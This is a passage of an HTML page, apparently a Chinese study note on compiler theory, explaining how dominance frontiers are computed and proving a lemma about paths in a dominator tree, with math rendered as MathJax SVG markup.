366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span>点寻找它的df，而是在确定<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.357ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 600 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span>是谁的df? 所以算法一开始从<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.357ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 600 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span>的前驱开始。</p></li><li><p>因此考虑每个前驱<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex" xmlns="http://www.w3.org/2000/svg" width="1.138ex" height="1.439ex" role="img" focusable="false" viewBox="0 -442 503 636"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 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133Q314 117 301 95T267 48T216 6T155 -11Q125 -11 98 4T59 56Q57 64 57 83V101L92 241Q127 382 128 383Q128 385 77 385H26Z"></path></g></g></g></svg></mjx-container></span>到<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex" xmlns="http://www.w3.org/2000/svg" width="1.138ex" height="1.439ex" role="img" focusable="false" viewBox="0 -442 503 636"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g></g></svg></mjx-container></span>的所有路径上都有<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="0.817ex" height="1.441ex" role="img" focusable="false" viewBox="0 -626 361 637"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D461" d="M26 385Q19 392 19 395Q19 399 22 411T27 425Q29 430 36 430T87 431H140L159 511Q162 522 166 540T173 566T179 586T187 603T197 615T211 624T229 626Q247 625 254 615T261 596Q261 589 252 549T232 470L222 433Q222 431 272 431H323Q330 424 330 420Q330 398 317 385H210L174 240Q135 80 135 68Q135 26 162 26Q197 26 230 60T283 144Q285 150 288 151T303 153H307Q322 153 322 145Q322 142 319 133Q314 117 301 95T267 48T216 6T155 -11Q125 -11 98 4T59 56Q57 64 57 83V101L92 241Q127 382 128 383Q128 385 77 385H26Z"></path></g></g></g></svg></mjx-container></span>支配<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex" xmlns="http://www.w3.org/2000/svg" width="1.138ex" height="1.439ex" role="img" focusable="false" viewBox="0 -442 503 636"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g></g></svg></mjx-container></span>的，接下来只要保证<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="0.817ex" height="1.441ex" role="img" focusable="false" viewBox="0 -626 361 637"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D461" d="M26 385Q19 392 19 395Q19 399 22 411T27 425Q29 430 36 430T87 431H140L159 511Q162 522 166 540T173 566T179 586T187 603T197 615T211 624T229 626Q247 625 254 615T261 596Q261 589 252 549T232 470L222 433Q222 431 272 431H323Q330 424 330 420Q330 398 317 385H210L174 240Q135 80 135 68Q135 26 162 26Q197 26 230 60T283 144Q285 150 288 151T303 153H307Q322 153 322 145Q322 142 319 133Q314 117 301 95T267 48T216 6T155 -11Q125 -11 98 4T59 56Q57 64 57 83V101L92 241Q127 382 128 383Q128 385 77 385H26Z"></path></g></g></g></svg></mjx-container></span>不支配<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.357ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 600 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span>，那么<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="10.268ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 4538.6 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(877.8,0)"><path data-c="2208" d="M84 250Q84 372 166 450T360 539Q361 539 377 539T419 540T469 540H568Q583 532 583 520Q583 511 570 501L466 500Q355 499 329 494Q280 482 242 458T183 409T147 354T129 306T124 272V270H568Q583 262 583 250T568 230H124V228Q124 207 134 177T167 112T231 48T328 7Q355 1 466 0H570Q583 -10 583 -20Q583 -32 568 -40H471Q464 -40 446 -40T417 -41Q262 -41 172 45Q84 127 84 250Z"></path></g><g data-mml-node="mi" transform="translate(1822.6,0)"><path data-c="1D437" d="M287 628Q287 635 230 637Q207 637 200 638T193 647Q193 655 197 667T204 682Q206 683 403 683Q570 682 590 682T630 676Q702 659 752 597T803 431Q803 275 696 151T444 3L430 1L236 0H125H72Q48 0 41 2T33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM703 469Q703 507 692 537T666 584T629 613T590 629T555 636Q553 636 541 636T512 636T479 637H436Q392 637 386 627Q384 623 313 339T242 52Q242 48 253 48T330 47Q335 47 349 47T373 46Q499 46 581 128Q617 164 640 212T683 339T703 469Z"></path></g><g data-mml-node="mi" transform="translate(2650.6,0)"><path data-c="1D439" d="M48 1Q31 1 31 11Q31 13 34 25Q38 41 42 43T65 46Q92 46 125 49Q139 52 144 61Q146 66 215 342T285 622Q285 629 281 629Q273 632 228 634H197Q191 640 191 642T193 659Q197 676 203 680H742Q749 676 749 669Q749 664 736 557T722 447Q720 440 702 440H690Q683 445 683 453Q683 454 686 477T689 530Q689 560 682 579T663 610T626 626T575 633T503 634H480Q398 633 393 631Q388 629 386 623Q385 622 352 492L320 363H375Q378 363 398 363T426 364T448 367T472 374T489 386Q502 398 511 419T524 457T529 475Q532 480 548 480H560Q567 475 567 470Q567 467 536 339T502 207Q500 200 482 200H470Q463 206 463 212Q463 215 468 234T473 274Q473 303 453 310T364 317H309L277 190Q245 66 245 60Q245 46 334 46H359Q365 40 365 39T363 19Q359 6 353 0H336Q295 2 185 2Q120 2 86 2T48 1Z"></path></g><g data-mml-node="mo" transform="translate(3399.6,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(3788.6,0)"><path data-c="1D461" d="M26 385Q19 392 19 395Q19 399 22 411T27 425Q29 430 36 430T87 431H140L159 511Q162 522 166 540T173 566T179 586T187 603T197 615T211 624T229 626Q247 625 254 615T261 596Q261 589 252 549T232 470L222 433Q222 431 272 431H323Q330 424 330 420Q330 398 317 385H210L174 240Q135 80 135 68Q135 26 162 26Q197 26 230 60T283 144Q285 150 288 151T303 153H307Q322 153 322 145Q322 142 319 133Q314 117 301 95T267 48T216 6T155 -11Q125 -11 98 4T59 56Q57 64 57 83V101L92 241Q127 382 128 383Q128 385 77 385H26Z"></path></g><g data-mml-node="mo" transform="translate(4149.6,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span>，这也是上述while循环中的条件.</p><p>这里也需要一个小lemma，dominator tree上的路径并不是CFG中的真实路径：</p><p><strong>dominator tree上任意两点<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></svg></mjx-container></span>,<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="1.109ex" height="1.464ex" role="img" focusable="false" viewBox="0 -442 490 647"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span>, 如果他们之间有一条路径, 不失一般性假设<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></svg></mjx-container></span>的level小于<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="1.109ex" height="1.464ex" role="img" focusable="false" viewBox="0 -442 490 647"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span>的level，那么也可以在CFG上找到一条<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></svg></mjx-container></span>到<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="1.109ex" height="1.464ex" role="img" focusable="false" viewBox="0 -442 490 647"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span>的路径，且<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></svg></mjx-container></span>支配这条路径上的所有结点。</strong></p><p>proof: 假设不存在这样的路径，即所有这样的路径，<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></svg></mjx-container></span>都不完全支配其上的所有点，那么总可以找到一条从start不经过<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></svg></mjx-container></span>到<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="1.109ex" height="1.464ex" role="img" focusable="false" viewBox="0 -442 490 647"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span>的路径，这和<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></svg></mjx-container></span> dom <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.464ex" xmlns="http://www.w3.org/2000/svg" width="1.109ex" height="1.464ex" role="img" focusable="false" viewBox="0 -442 490 647"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D466" d="M21 287Q21 301 36 335T84 406T158 442Q199 442 224 419T250 355Q248 336 247 334Q247 331 231 288T198 191T182 105Q182 62 196 45T238 27Q261 27 281 38T312 61T339 94Q339 95 344 114T358 173T377 247Q415 397 419 404Q432 431 462 431Q475 431 483 424T494 412T496 403Q496 390 447 193T391 -23Q363 -106 294 -155T156 -205Q111 -205 77 -183T43 -117Q43 -95 50 -80T69 -58T89 -48T106 -45Q150 -45 150 -87Q150 -107 138 -122T115 -142T102 -147L99 -148Q101 -153 118 -160T152 -167H160Q177 -167 186 -165Q219 -156 247 -127T290 -65T313 -9T321 21L315 17Q309 13 296 6T270 -6Q250 -11 231 -11Q185 -11 150 11T104 82Q103 89 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span>是矛盾. 所以原命题得证。</p></li></ol><p>还有一个小问题，<strong>为什么可以保证一定可以碰到<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="8.158ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 3606 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 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data-c="1D463" d="M173 380Q173 405 154 405Q130 405 104 376T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Q21 294 29 316T53 368T97 419T160 441Q202 441 225 417T249 361Q249 344 246 335Q246 329 231 291T200 